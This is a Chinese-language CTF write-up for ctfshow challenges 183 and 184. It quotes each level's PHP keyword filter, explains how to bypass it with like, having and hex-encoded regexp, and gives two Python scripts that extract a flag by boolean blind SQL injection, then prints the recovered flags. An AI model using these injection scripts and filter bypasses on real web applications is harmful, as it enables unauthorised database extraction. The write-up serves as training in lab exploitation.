183
//拼接sql语句查找指定ID用户 $sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str); }
//返回用户表的记录总数 $user_count = 0;
select,and,or,都被屏蔽,用不了联合查询,只能尝试第三个灰框的返回值,进行布尔盲注
用python编写脚本如下
import requests import sys # 目标URL url = "http://b36ac37a-e56d-485e-807f-20f0a3314733.challenge.ctf.show/select-waf.php" # 可能的字符集 letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}" # 初始flag flag = "ctfshow{" # 最多尝试100次 for i in range(100): # 遍历字符集 for j in letter: # 构造POST请求数据 data = {"tableName": "(ctfshow_user)where(pass)like'{}%'".format(flag + j)} # 发送POST请求,在数据库中找到像flag+j的部分,得到结果以文本形式返回,模糊查询到like{}的列,并通过count函数求列数 r = requests.post(url=url, data=data).text # 如果响应中包含特定字符串,则表示字符正确 if "$user_count = 1;" in r: # 更新flag flag += j # 打印当前flag print(flag) # 终止当前循环,继续下一个字符 break # 如果遍历到'}',表示flag已经完整,退出程序 if j == "}": sys.exit()
得到flag:ctfshow{a6e70027-7ce8-41d3-9843-ed2480e2d786}
184
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
这次还过滤了where,不过可以用having代替,而且这次没有过滤空格
过滤了单双引号,不能用like了,可以用正则表达式
regexp
REGEXP:正则表达式匹配的操作符,筛选符合特定模式的数据
ord:Unicode 编码
hex:转16进制
import requests url = 'http://25f5a961-ad58-4905-b865-158703510fca.challenge.ctf.show/select-waf.php' strlist = '{0123456789-abcdef}' flagstr = '' flag = "ctfshow{" while True: # 不知道 flag 长度,需要不断尝试获取下一个字符 for i in strlist: j = hex(ord(i))[2:] # 将字符转换为对应的十六进制表示 data = { 'tableName': "ctfshow_user group by pass having pass regexp(0x{})".format(flagstr +j) } response = requests.post(url, data=data).text # 发送 POST 请求并获取响应 if 'user_count = 1' in response: # 判断响应中是否包含特定字符串 print('--------------------正确', i) flagstr += j flag += i print(flag) break else: print('===================' + i + '错误') if flag[-1] == '}': exit() # 如果已经获取完整的 flag,退出循环
在给定的过滤函数 waf($str)
中,正则表达式使用了十六进制表示的字符,例如 \x09
、\x0a
等。因此,在构造 SQL 注入 payload 时,将字符转换为十六进制表示是为了绕过这种基于字符的过滤机制。
过滤函数中使用的正则表达式会检查输入字符串 $str
中是否包含一些特定的字符序列,这些字符序列包括了一些关键字和特殊字符,如 select
、union
、and
、or
、flag
等,以及一些特殊的控制字符,如换行符、制表符等。通过将字符转换为十六进制表示,可以绕过直接匹配字符的简单过滤。
举例来说,如果直接发送字符 '
或 select
,很可能会被过滤函数拦截,但如果将其转换为十六进制表示,如 '\x27'
或 '\x73\x65\x6c\x65\x63\x74'
,则可能会成功绕过过滤。因此,将字符转换为十六进制表示是为了增加绕过过滤的可能性,提高 SQL 注入的成功率。
在 ASCII 码的范围内(即 0 到 127),Unicode 码点与 ASCII 码是相同的。这意味着对于 ASCII 范围内的字符,它们的 Unicode 码点和 ASCII 码是一样的
但转16进制,一般都是先转ascii码,再转16才准确
flagstr = ''和flagstr += j:因为flag不是16进制,所以需要一个16进制字符串向正则表达式提供16进制数,并加到上面,继续提供,真正的flag则是直接加的16进制转成的10进制字符flagstr = ''
having pass regexp(0x{}):HAVING PASS REGEXP(0x{})
用于在 SQL 查询结果中筛选出pass字段中符合十六进制密码模式的记录。
flag:ctfshow{{5825c30c-5041-47fa-9d93-1083208038e9}
网友评论